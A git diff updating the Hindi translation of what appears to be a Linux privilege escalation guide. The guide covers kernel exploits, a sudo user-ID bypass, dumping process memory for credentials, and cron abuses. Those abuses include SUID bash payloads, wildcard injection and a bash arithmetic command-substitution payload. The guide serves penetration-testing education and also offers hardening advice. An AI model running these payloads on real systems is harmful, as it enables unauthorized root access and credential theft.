diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 90d9e76d5..abab23dea 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS जानकारी -आइए चल रहे OS के बारे में कुछ जानकारी प्राप्त करना शुरू करें। +आइए चल रहे OS के बारे में कुछ जानकारी इकट्ठा करें। ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -यदि आपके पास **`PATH` वेरिएबल के किसी भी फ़ोल्डर पर write permissions** हैं तो आप कुछ libraries या binaries को hijack कर सकते हैं: +यदि आपके पास **`PATH` के किसी भी फ़ोल्डर में लिखने की अनुमति** है तो आप कुछ libraries या binaries को hijack कर सकते हैं: ```bash echo $PATH ``` @@ -26,26 +26,26 @@ echo $PATH ``` ### Kernel exploits -Kernel version चेक करें और देखें कि कोई exploit है जो escalate privileges के लिए इस्तेमाल किया जा सके। +Kernel version की जाँच करें और देखें कि क्या कोई exploit है जिसका उपयोग privilege escalation के लिए किया जा सकता है। ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -आप यहाँ एक अच्छी vulnerable kernel list और कुछ पहले से ही **compiled exploits** पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +आप यहाँ एक अच्छी vulnerable kernel सूची और कुछ पहले से ही **compiled exploits** पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -उस वेबसाइट से सभी vulnerable kernel versions निकालने के लिए आप कर सकते हैं: +उस वेबसाइट से सभी कमजोर kernel संस्करण निकालने के लिए आप यह कर सकते हैं: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits खोजने में मदद करने वाले उपकरण: - +Tools that could help to search for kernel exploits are: + [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, केवल kernel 2.x के लिए exploits की जाँच करता है) -हमेशा **kernel version को Google में खोजें**, शायद आपका kernel version किसी kernel exploit में लिखा हो और तब आप सुनिश्चित हो सकेंगे कि यह exploit वैध है। +Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. ### CVE-2016-5195 (DirtyCow) @@ -57,17 +57,17 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo संस्करण +### Sudo version -उन कमजोर sudo संस्करणों के आधार पर जो निम्न में दिखाई देते हैं: +निम्नलिखित में दिखाई देने वाले असुरक्षित sudo संस्करणों के आधार पर: ```bash searchsploit sudo ``` -आप इस grep का उपयोग करके जांच सकते हैं कि sudo संस्करण vulnerable है या नहीं। +आप grep का उपयोग करके यह जांच सकते हैं कि sudo संस्करण कमजोर है या नहीं। ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 स्रोत: @sickrov ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg सिग्नेचर सत्यापन विफल -यह देखने के लिए कि इस vuln का शोषण कैसे किया जा सकता है, **smasher2 box of HTB** पर एक **उदाहरण** देखें +इस vuln को कैसे exploited किया जा सकता है, इसका एक **उदाहरण** देखने के लिए **smasher2 box of HTB** देखें ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## संभावित रक्षा उपायों की सूची +## संभावित रक्षा उपाय सूचीबद्ध करें ### AppArmor ```bash @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -यदि आप किसी docker container के अंदर हैं तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: +यदि आप किसी docker container के अंदर हैं, तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: {{#ref}} docker-security/ {{#endref}} -## ड्राइव्स +## Drives -जाँचें **what is mounted and unmounted**, कहाँ और क्यों। अगर कुछ unmounted है तो आप उसे mount करके निजी जानकारी के लिए जाँच कर सकते हैं। +जाँच करें **what is mounted and unmounted**, कहाँ और क्यों। अगर कुछ भी unmounted है तो आप इसे mount करके निजी जानकारी की जाँच कर सकते हैं ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,75 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## उपयोगी सॉफ़्टवेयर -उपयोगी binaries को सूचीबद्ध करें +उपयोगी binaries सूचीबद्ध करें ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -साथ ही, जांचें कि **any compiler is installed**। यह तब उपयोगी है अगर आपको किसी kernel exploit का उपयोग करना हो क्योंकि यह सलाह दी जाती है कि उसे उसी मशीन पर compile किया जाए जहाँ आप उसे उपयोग करने जा रहे हैं (या किसी समान मशीन पर)। +साथ ही जांचें कि **कोई compiler इंस्टॉल है**। यह उपयोगी होता है अगर आपको कोई kernel exploit इस्तेमाल करना हो क्योंकि इसे उसी मशीन में compile करना सलाह दी जाती है जहाँ आप इसे उपयोग करने जा रहे हैं (या किसी समान मशीन में) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### इंस्टॉल किया गया असुरक्षित सॉफ़्टवेयर +### स्थापित कमजोर सॉफ़्टवेयर -जाँच करें कि **इंस्टॉल किए गए पैकेज और सेवाओं का संस्करण** क्या है। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) हो जिसे exploited for escalating privileges…\ -सुझाव दिया जाता है कि अधिक संदिग्ध इंस्टॉल किए गए सॉफ़्टवेयर का संस्करण मैन्युअल रूप से जाँचा जाए। +जाँच करें कि **स्थापित पैकेजों और सेवाओं का संस्करण** क्या है। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) मौजूद हो, जिसे escalating privileges के लिए exploited किया जा सके…\ +अनुशंसित है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण को मैन्युअली जाँचा जाए। ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +यदि आपके पास मशीन तक SSH access है तो आप मशीन के अंदर इंस्टॉल किए गए outdated और vulnerable software की जाँच के लिए **openVAS** का भी उपयोग कर सकते हैं। -> [!NOTE] > _ध्यान दें कि ये कमांड्स बहुत सारी जानकारी दिखाएँगे जो अधिकांशतः बेकार होगी, इसलिए OpenVAS जैसे कुछ applications या समान टूल्स की सिफारिश की जाती है जो जाँच करें कि कोई इंस्टॉल किया गया सॉफ़्टवेयर संस्करण ज्ञात exploits के लिए vulnerable है या नहीं_ +> [!NOTE] > _ध्यान दें कि ये commands बहुत सारी जानकारी दिखाएँगे जो ज्यादातर बेकार होगी, इसलिए OpenVAS या समान कुछ applications की सिफारिश की जाती है जो जाँचें कि कोई installed software version ज्ञात exploits के लिए vulnerable है या नहीं_ ## Processes -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +देखें कि **कौन से processes** execute हो रहे हैं और जाँचें कि क्या किसी process के पास **ज़रूरत से अधिक privileges** हैं (शायद कोई tomcat root द्वारा execute हो रहा है?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -हमीशा यह जांचें कि कोई [**electron/cef/chromium debuggers** चल तो नहीं रहे — इनका दुरुपयोग करके privileges escalate किए जा सकते हैं](electron-cef-chromium-debugger-abuse.md). **Linpeas** इन्हें process की command line के अंदर `--inspect` parameter को चेक करके detect करता है.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone.\ -साथ ही **processes binaries पर अपनी privileges भी चेक करें**, शायद आप किसी को overwrite कर सकें। +हमेशा संभावित [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) की जाँच करें। **Linpeas** इनका पता प्रक्रियाओं की कमांड लाइन में `--inspect` पैरामीटर देखकर लगाता है।\ +इसके अलावा **check your privileges over the processes binaries**, शायद आप किसीका overwrite कर सकें। ### Process monitoring -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.\ -आप प्रक्रियाओं को monitor करने के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे tools का उपयोग कर सकते हैं। यह उन कमजोर प्रक्रियाओं की पहचान करने में बहुत उपयोगी हो सकता है जो बार‑बार execute होती हैं या जब कुछ requirements पूरी होते हैं। +आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे टूल का उपयोग कर सकते हैं। यह उन कमजोर प्रक्रियाओं की पहचान करने में बहुत उपयोगी हो सकता है जो बार-बार चलती हैं या जब कुछ शर्तें पूरी होती हैं। ### Process memory Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**.\ -किसी सर्वर की कुछ services memory के अंदर **credentials को clear text में सेव** करती हैं।\ -आम तौर पर अन्य users के processes की memory पढ़ने के लिए आपको **root privileges** की आवश्यकता होती है, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से root हों और और credentials खोजना चाहें।\ -हालाँकि, याद रखें कि **एक सामान्य user के रूप में आप उन processes की memory पढ़ सकते हैं जो आपके हैं**। +सामान्यतः अन्य उपयोगकर्ताओं की प्रक्रियाओं की मेमोरी पढ़ने के लिए आपको **root privileges** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से root हैं और और अधिक credentials खोजना चाहते हैं।\ +हालाँकि, ध्यान रखें कि **एक सामान्य उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**। > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.\ -> ध्यान दें कि आजकल ज्यादातर मशीनों में **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं होती** जिसका मतलब है कि आप अपने unprivileged user के अन्य processes को dump नहीं कर सकते। -> -> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुँच को नियंत्रित करती है: -> -> - **kernel.yama.ptrace_scope = 0**: सभी processes को debug किया जा सकता है, बशर्ते कि उनके पास वही uid हो। यह ptracing के काम करने का पारंपरिक तरीका था। -> - **kernel.yama.ptrace_scope = 1**: केवल एक parent process को debug किया जा सकता है। +> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाएं debug की जा सकती हैं, बशर्ते उनका uid एक समान हो। यह ptracing का पारंपरिक तरीका है। +> - **kernel.yama.ptrace_scope = 1**: केवल parent प्रक्रिया को debug किया जा सकता है। > - **kernel.yama.ptrace_scope = 2**: केवल admin ptrace का उपयोग कर सकता है, क्योंकि इसके लिए CAP_SYS_PTRACE capability की आवश्यकता होती है। -> - **kernel.yama.ptrace_scope = 3**: ptrace के साथ किसी भी process को trace नहीं किया जा सकता। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए reboot की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 3**: ptrace के साथ कोई प्रक्रियाएं trace नहीं की जा सकतीं। एक बार सेट करने पर, ptracing को फिर से सक्षम करने के लिए reboot की आवश्यकता होती है। #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.\ -यदि आपके पास किसी FTP service (उदाहरण के लिए) की memory तक पहुँच है तो आप Heap निकाल कर उसके अंदर के credentials की खोज कर सकते हैं। +यदि आपके पास किसी FTP service (उदाहरण के लिए) की मेमोरी तक पहुँच है, तो आप Heap प्राप्त कर सकते हैं और उसके अंदर उसके credentials की खोज कर सकते हैं। ```bash gdb -p (gdb) info proc mappings @@ -217,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB स्क्रिप्ट +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -230,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -दिए गए process ID के लिए, **maps दिखाती है कि उस प्रोसेस में मेमोरी कैसे मैप की जाती है** virtual address space; यह हर mapped region की **permissions भी दिखाती है**। यह **mem** pseudo file **प्रोसेस की मेमोरी को स्वयं उजागर करता है**। **maps** फ़ाइल से हमें पता चलता है कि कौन से **मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफ़सेट। हम इन जानकारियों का उपयोग करके **mem फ़ाइल में seek करके सभी पढ़ने योग्य क्षेत्रों को dump करके एक फ़ाइल में सेव करते हैं**। +किसी दिए गए process ID के लिए, **maps दिखाती हैं कि उस process के virtual address space में memory कैसे mapped है**; यह प्रत्येक mapped region के **permissions** भी दिखाती है। यह **mem pseudo file** **प्रोसेस की memory को स्वयं expose करता है**। **maps** file से हमें पता चलता है कि कौन‑से **memory regions readable हैं** और उनके offsets क्या हैं। हम इस जानकारी का उपयोग करके **mem file में seek करके सभी readable regions को एक फाइल में dump करते हैं**। ```bash procdump() ( @@ -245,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच प्रदान करता है, न कि आभासी मेमोरी तक। कर्नेल के वर्चुअल एड्रेस स्पेस तक /dev/kmem के माध्यम से पहुँच की जा सकती है.\\ -आमतौर पर, `/dev/mem` केवल **root** और **kmem** group द्वारा पढ़ा जा सकता है। +`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच प्रदान करता है, न कि वर्चुअल मेमोरी। कर्नेल के वर्चुअल एड्रेस स्पेस तक /dev/kmem का उपयोग करके पहुंचा जा सकता है.\ +आम तौर पर, `/dev/mem` केवल **root** और **kmem** समूह द्वारा पढ़ने योग्य होता है। ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump के लिए linux -ProcDump Windows के Sysinternals टूल सूट के क्लासिक ProcDump टूल की Linux के लिए पुनर्कल्पना है। इसे यहाँ पाएं: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump Windows के Sysinternals सूट में मौजूद क्लासिक ProcDump टूल की Linux के लिए पुनर्कल्पना है। इसे यहाँ प्राप्त करें: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -279,33 +264,33 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### टूल्स +### उपकरण -To dump a process memory you could use: +process memory को dump करने के लिए आप निम्न का उपयोग कर सकते हैं: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअली root आवश्यकताओं को हटा कर अपने द्वारा स्वामित्व वाले प्रोसेस को डंप कर सकते हैं +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से root आवश्यकताओं को हटा कर अपने स्वामित्व वाले process को dump कर सकते हैं - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root आवश्यक है) -### प्रोसेस मेमोरी से क्रेडेंशियल्स +### Process Memory से Credentials -#### मैनुअल उदाहरण +#### मैन्युअल उदाहरण -यदि आप पाते हैं कि authenticator प्रोसेस चल रहा है: +यदि आप पाते हैं कि authenticator process चल रहा है: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -आप process को dump कर सकते हैं (पहले के सेक्शनों को देखें ताकि process की memory dump करने के विभिन्न तरीके मिलें) और memory के अंदर credentials की खोज कर सकते हैं: +आप process को dump कर सकते हैं (पहले के अनुभाग देखें ताकि process की memory को dump करने के विभिन्न तरीके मिलें) और memory के अंदर credentials खोज सकते हैं: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) यह **clear text credentials** को memory और कुछ **well known files** से चुरा लेगा। इसे सही तरीके से काम करने के लिए root privileges चाहिए। +यह टूल [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) memory और कुछ **well known files** से **clear text credentials** चुरा लेगा। इसे सही ढंग से काम करने के लिए root privileges की आवश्यकता होती है। -| विशेषता | प्रोसेस नाम | +| Feature | Process Name | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -314,7 +299,7 @@ The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### खोज Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -328,66 +313,66 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## शेड्यूल किए गए/Cron jobs +## अनुसूचित/Cron jobs ### Crontab UI (alseambusher) running as root – web-based scheduler privesc -यदि एक वेब “Crontab UI” पैनल (alseambusher/crontab-ui) root के रूप में चलता है और केवल loopback से बाइंड है, तो आप इसे SSH local port-forwarding के माध्यम से अभी भी एक्सेस कर सकते हैं और privesc के लिए एक privileged job बना सकते हैं। +यदि एक वेब “Crontab UI” पैनल (alseambusher/crontab-ui) root के रूप में चलता है और केवल loopback पर बाइंड है, तो आप फिर भी SSH local port-forwarding के माध्यम से इसे एक्सेस कर सकते हैं और एक privileged job बनाकर escalate कर सकते हैं। Typical chain -- लूपबैक-ओनली पोर्ट खोजें (e.g., 127.0.0.1:8000) और Basic-Auth realm का पता लगाएँ via `ss -ntlp` / `curl -v localhost:8000` -- ऑपरेशनल आर्टिफैक्ट्स में credentials खोजें: -- Backups/scripts जिनमें `zip -P ` -- systemd unit जिसमें `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` मौजूद हों -- Tunnel बनाकर login करें: +- Loopback-only पोर्ट खोजें (जैसे 127.0.0.1:8000) और Basic-Auth realm का पता लगाएँ `ss -ntlp` / `curl -v localhost:8000` के माध्यम से +- ऑपरेशनल artifacts में credentials खोजें: + - Backups/scripts जिनमें `zip -P ` + - systemd unit जो `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` उजागर करती हो +- Tunnel और login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- एक high-priv job बनाएँ और तुरंत चलाएँ (SUID shell छोड़ता है): +- एक high-priv job बनाएं और तुरंत चलाएँ (SUID shell प्रदान करता है): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- इसे इस्तेमाल करें: +- इस्तेमाल करें: ```bash /tmp/rootshell -p # root shell ``` Hardening -- Crontab UI को root के रूप में न चलाएँ; इसे एक समर्पित उपयोगकर्ता और न्यूनतम अनुमतियों तक सीमित रखें -- localhost पर बाइंड करें और अतिरिक्त रूप से firewall/VPN के माध्यम से पहुँच सीमित करें; पासवर्ड दोहराकर न प्रयोग करें -- unit files में secrets embed करने से बचें; secret stores या root-only EnvironmentFile का उपयोग करें +- Crontab UI को root के रूप में न चलाएं; इसे एक समर्पित उपयोगकर्ता और न्यूनतम अनुमतियों के साथ सीमित करें +- localhost से bind करें और अतिरिक्त रूप से firewall/VPN के माध्यम से एक्सेस को सीमित करें; पासवर्ड को पुन: उपयोग न करें +- unit files में secrets एम्बेड करने से बचें; secret stores या root-only EnvironmentFile का उपयोग करें - on-demand job executions के लिए audit/logging सक्षम करें -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). +जाँच करें कि कोई scheduled job vulnerable है या नहीं। शायद आप root द्वारा execute किए जा रहे किसी script का फायदा उठा सकते हैं (wildcard vuln? क्या आप root द्वारा उपयोग की जाने वाली फाइलों को modify कर सकते हैं? symlinks का उपयोग करें? root द्वारा उपयोग किए जाने वाले directory में specific files बनाएँ?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron पथ उदाहरण के लिए, _/etc/crontab_ के अंदर आप PATH पा सकते हैं: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ध्यान दें कि user "user" के पास /home/user पर लिखने की अनुमतियाँ हैं_) +(_ध्यान दें कि "user" के पास /home/user पर लिखने की अनुमति है_) -यदि इस crontab के अंदर root user किसी कमांड या स्क्रिप्ट को path सेट किए बिना चलाने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ -तो, आप निम्नलिखित का उपयोग करके root shell प्राप्त कर सकते हैं: +यदि इस crontab में root किसी command या script को PATH सेट किए बिना execute करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ +तब, आप root shell प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron एक script में wildcard का उपयोग (Wildcard Injection) +### Cron जो script में wildcard का उपयोग करता है (Wildcard Injection) -यदि कोई script root द्वारा execute किया जाता है और किसी command में “**\***” मौजूद है, तो आप इसे exploit करके अनपेक्षित चीज़ें (जैसे privesc) कर सकते हैं। उदाहरण: +यदि कोई script root द्वारा चलाया जाता है और उसके किसी command में “**\***” होता है, तो आप इसका दुरुपयोग कर अप्रत्याशित चीज़ें (जैसे privesc) कर सकते हैं। उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**यदि wildcard किसी path जैसे** _**/some/path/\***_ **के आगे रखा गया है, तो यह vulnerable नहीं है (यहां तक कि** _**./\***_ **भी नहीं)।** +**यदि wildcard से पहले कोई path मौजूद है, जैसे** _**/some/path/\***_ **तो यह vulnerable नहीं है (यहाँ तक कि** _**./\***_ **भी नहीं)。** -अधिक wildcard exploitation tricks के लिए निम्नलिखित पृष्ठ पढ़ें: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -397,11 +382,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash, ((...)), $((...)) और let में arithmetic evaluation से पहले parameter expansion और command substitution करता है। अगर कोई root cron/parser untrusted log fields पढ़ता है और उन्हें arithmetic context में फीड करता है, तो attacker एक command substitution $(...) inject कर सकता है जो cron चलने पर root के रूप में execute हो जाएगा। +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. अगर कोई root cron/parser untrusted log fields पढ़ता है और उन्हें arithmetic context में फीड करता है, तो एक attacker command substitution $(...) inject कर सकता है जो cron चलने पर root के रूप में execute होगा। -- कारण: Bash में expansions इस क्रम में होते हैं: parameter/variable expansion, command substitution, arithmetic expansion, फिर word splitting और pathname expansion। तो `$(/bin/bash -c 'id > /tmp/pwn')0` जैसा मान पहले substitute होता है (कमांड चलता है), फिर शेष numeric `0` arithmetic के लिए उपयोग होता है ताकि स्क्रिप्ट बिना errors के आगे चलती रहे। +- Why it works: Bash में expansions इस क्रम में होते हैं: parameter/variable expansion, command substitution, arithmetic expansion, फिर word splitting और pathname expansion. इसलिए मान जैसे `$(/bin/bash -c 'id > /tmp/pwn')0` पहले substitute होता है (कमांड रन होते हुए), फिर बचे हुए numeric `0` को arithmetic के लिए उपयोग किया जाता है ताकि स्क्रिप्ट बिना errors के जारी रहे। -- सामान्य vulnerable pattern: +- सामान्य vulnerable पैटर्न: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -411,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: parsed log में attacker-controlled टेक्स्ट लिखवाएँ ताकि numeric दिखने वाला field एक command substitution रखे और digit पर खत्म हो। सुनिश्चित करें कि आपका कमांड stdout पर कुछ न निकाले (या उसे redirect करें) ताकि arithmetic वैध रहे। +- Exploitation: parsed log में attacker-controlled टेक्स्ट लिखवाएँ ताकि numeric-looking field में एक command substitution हो और वह किसी digit पर खत्म हो। सुनिश्चित करें कि आपका कमांड stdout पर कुछ print न करे (या उसे redirect कर दें) ताकि arithmetic वैध रहे। ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -420,62 +405,63 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -यदि आप **root द्वारा execute होने वाले किसी cron script को modify कर सकते हैं**, तो आप बहुत आसानी से shell प्राप्त कर सकते हैं: +यदि आप **cron script को संशोधित कर सकते हैं** जो root द्वारा execute होता है, तो आप बहुत आसानी से shell प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -यदि root द्वारा चलाया गया script किसी **directory जहाँ आपकी पूर्ण पहुँच है** का उपयोग करता है, तो उस folder को हटाकर और किसी अन्य के लिए एक **symlink folder** बना कर उस पर आपकी नियंत्रित script लगाना उपयोगी हो सकता है। +जब root द्वारा चलाया जाने वाला script किसी **डायरेक्टरी जहाँ आपकी पूरी पहुँच हो** का उपयोग करता है, तो यह उपयोगी हो सकता है कि आप उस फ़ोल्डर को डिलीट करके और **एक दूसरे फ़ोल्डर का symlink फ़ोल्डर बना दें** जो आपके द्वारा नियंत्रित script को चलाए। ```bash ln -d -s ``` -### Frequent cron jobs +### बार-बार चलने वाले cron jobs -आप उन प्रोसेस की निगरानी कर सकते हैं ताकि ऐसे प्रोसेस खोजे जा सकें जो हर 1, 2 या 5 मिनट में चल रहे हों। शायद आप इसका फायदा उठाकर privileges escalate कर सकें। +आप processes को मॉनिटर कर सकते हैं ताकि ऐसे processes 